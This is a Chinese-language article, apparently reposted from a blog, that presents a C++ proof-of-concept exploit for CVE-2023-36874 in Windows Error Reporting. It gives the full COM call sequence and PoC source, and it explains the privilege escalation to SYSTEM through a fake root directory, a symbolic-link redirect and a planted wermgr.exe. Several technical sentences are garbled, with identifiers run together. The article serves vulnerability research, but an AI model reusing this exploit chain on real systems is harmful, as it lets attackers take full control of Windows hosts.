此存储库包含一个用 C++ 编写的概念验证漏洞,演示了如何利用影响 Windows 错误报告 (WER) 组件的漏洞。该漏洞利用展示了触发漏洞所涉及的步骤,仅用于教育目的。严格禁止恶意或不道德地使用此代码。
该漏洞利用程序按照以下步骤触发漏洞:
1. 初始化COM:通过调用`CoInitialize(NULL)`来初始化COM,为后续的COM操作做准备。
2. 创建COM接口与WER交互:
- 创建`CLSID_ERCLuaSupport`的实例以获取`IErcLuaSupport`接口。
- 使用`IErcLuaSupport`接口创建一个`IWerStoreFactory`实例。
- 使用`IWerStoreFactory`实例创建一个`IWerStore`实例。
3. 开始报告枚举过程:通过调用`pIWerStore->EnumerateStart()`来开始报告枚举过程,这可能是为了获取报告列表。
4. 加载报告:使用`pIWerStore->LoadReport`函数加载一个报告。请将"ReportName"替换为你要利用的实际报告名称。
5. 提交加载的报告:通过调用`pIWerReport->SubmitReport()`来触发漏洞,提交加载的报告。
6. 释放COM接口与清理资源:
- 调用`pIWerReport->Release()`释放`pIWerReport`接口。
- 调用`pIWerStore->Release()`释放`pIWerStore`接口。
- 调用`pIWerStoreFactory->Release()`释放`pIWerStoreFactory`接口。
- 调用`pIErcLuaSupport->Release()`释放`pIErcLuaSupport`接口。
7. 取消初始化COM:通过调用`CoUninitialize()`来取消初始化COM,释放COM库的资源。
这些步骤看起来是在利用一种与Windows错误报告系统相关的漏洞。请注意,这只是一个指导,实际执行这些步骤需要一些背景知识和正确的环境。同时,注意在进行任何漏洞研究时要遵循法律和道德规范。如果你有具体问题或需要更详细的帮助,欢迎继续提问。
POC代码
#include <Windows.h>
#include <iostream>
int main() {
// 通过调用 CoInitialize(NULL) 来初始化 COM。
CoInitialize(NULL);
// 创建用于与 WER 交互的 COM 接口:
IWerReport* pIWerReport = nullptr;
IErcLuaSupport* pIErcLuaSupport = nullptr;
IWerStoreFactory* pIWerStoreFactory = nullptr;
IWerStore* pIWerStore = nullptr;
// 创建 CLSID_ERCLuaSupport 的实例以获取 IErcLuaSupport 接口。
CoCreateInstance(CLSID_ERCLuaSupport, NULL, CLSCTX_LOCAL_SERVER, IID_IErcLuaSupport, (PVOID*)&pIErcLuaSupport);
// 使用 IErcLuaSupport 接口创建一个 IWerStoreFactory 实例。
pIErcLuaSupport->CoCreateIWerStoreFactory(&pIWerStoreFactory);
// 使用 IWerStoreFactory 实例创建一个 IWerStore 实例。
pIWerStoreFactory->CoCreateIWerStore(&pIWerStore);
// 漏洞利用步骤
// 通过调用 pIWerStore->EnumerateStart() 开始报告枚举和检索过程。
pIWerStore->EnumerateStart();
// 使用 pIWerStore->LoadReport 函数加载一个报告。将 "ReportName" 替换为你想要利用的实际报告名称。
pIWerStore->LoadReport(L"ReportName", &pIWerReport);
// 提交加载的报告以触发漏洞,通过调用 pIWerReport->SubmitReport() 函数。
pIWerReport->SubmitReport();
// 清理
// 释放 COM 接口并清理资源。
pIWerReport->Release();
pIWerStore->Release();
pIWerStoreFactory->Release();
pIErcLuaSupport->Release();
// 通过调用 CoUninitialize() 来反初始化 COM。
CoUninitialize();
return 0;
}
项目地址:
https://github.com/d0rb/CVE-2023-36874
技术细节:
WER服务是一项特权服务,其作用是分析和报告Windows主机上可能出现的各种软件问题。该服务可以通过几个未记录的 COM 接口进行交互,这些接口可以在. 特别是,通过链接以下函数调用,可以获得指向COM 接口的指针:wercplsupport.dllIWerReport
CoCreateInstance(CLSID_ERCLuaSupport, NULL, CLSCTX_LOCAL_SERVER, IID_IErcLuaSupport, (PVOID*)&pIErcLuaSupport);
pIErcLuaSupport->CoCreateIWerStoreFactory(&pIWerStoreFactory);
pIWerStoreFactory->CoCreateIWerStore(&pIWerStore);
pIWerStore->EnumerateStart()
pIWerStore->LoadReport(<reportName>, &pIWerReport); 其中 reportName 是包含要处理的 WER 报告的目录的名称
作为调用的结果,WER 服务将调用来自 的函数。在未分析的情况下,这最终会导致调用该函数,该函数本身会调用API 以启动可执行文件。
IWerReport->SubmitReportWerpSubmitReportFromStorewer.dllUtilLaunchWerManagerCreateProcessC:\Windows\System32\wermgr.exe
该漏洞的核心问题在于,在模拟下运行的 CreateProcess API 将遵循威胁参与者设置的任何文件系统重定向,但将使用调用进程安全令牌而不是模拟令牌来设置进程的安全上下文。对于 WER 服务,在进程创建时确实存在模拟,如下面的屏幕截图所示:wermgr
这意味着,如果先前的文件系统重定向指向攻击者控制的可执行文件,则将执行该可执行文件而不是合法的可执行文件。这允许攻击者控制的可执行文件以 WER 服务(即 SYSTEM)的权限运行。wermgrwermgr
在观察到的漏洞利用情况下,采取以下步骤来实现权限升级:
该漏洞利用程序会在系统上设置必要的文件,以便稍后成功利用。此步骤遵循两个不同的目标:
在目录中设置一个虚拟文件。该虚拟文件将在漏洞利用链开头的函数 中引用。Report.werC:\ProgramData\Microsoft\Windows\WER\ReportArchive\WER1CF4123IWerReport->SubmitReport
在目录下设置一个假根层次结构,以便文件系统重定向将指向攻击者文件而不是合法文件。在此层次结构中,漏洞利用程序会创建自身的副本以及内部的虚拟 WER 报告。C:\C:\Users\public\testC:\Users\public\test\Windows\System32\wermgr.exeReport.werC:\Users\Public\test\ProgramData\Microsoft\Windows\WER\ReportArchive\WER1CF4123
通过调用该函数创建从驱动器到的重定向,其中第三个和第四个参数分别指向和。当在目录中检测到更改时创建此重定向。C:\C:\Users\public\testNtCreateSymbolicLink \??\C:\GLOBAL??\C:\Users\Public\TestC:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue
以参数形式触发。IWerReport->LoadReport()WER1CF4123
以参数形式触发。IWerReport->SubmitReport()WER1CF4123
由于重定向,被执行而不是合法的. 漏洞利用二进制文件现在正在以高权限执行。C:\Users\public\test\Windows\System32\wermgr.exewermgr.exe
参考:
https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里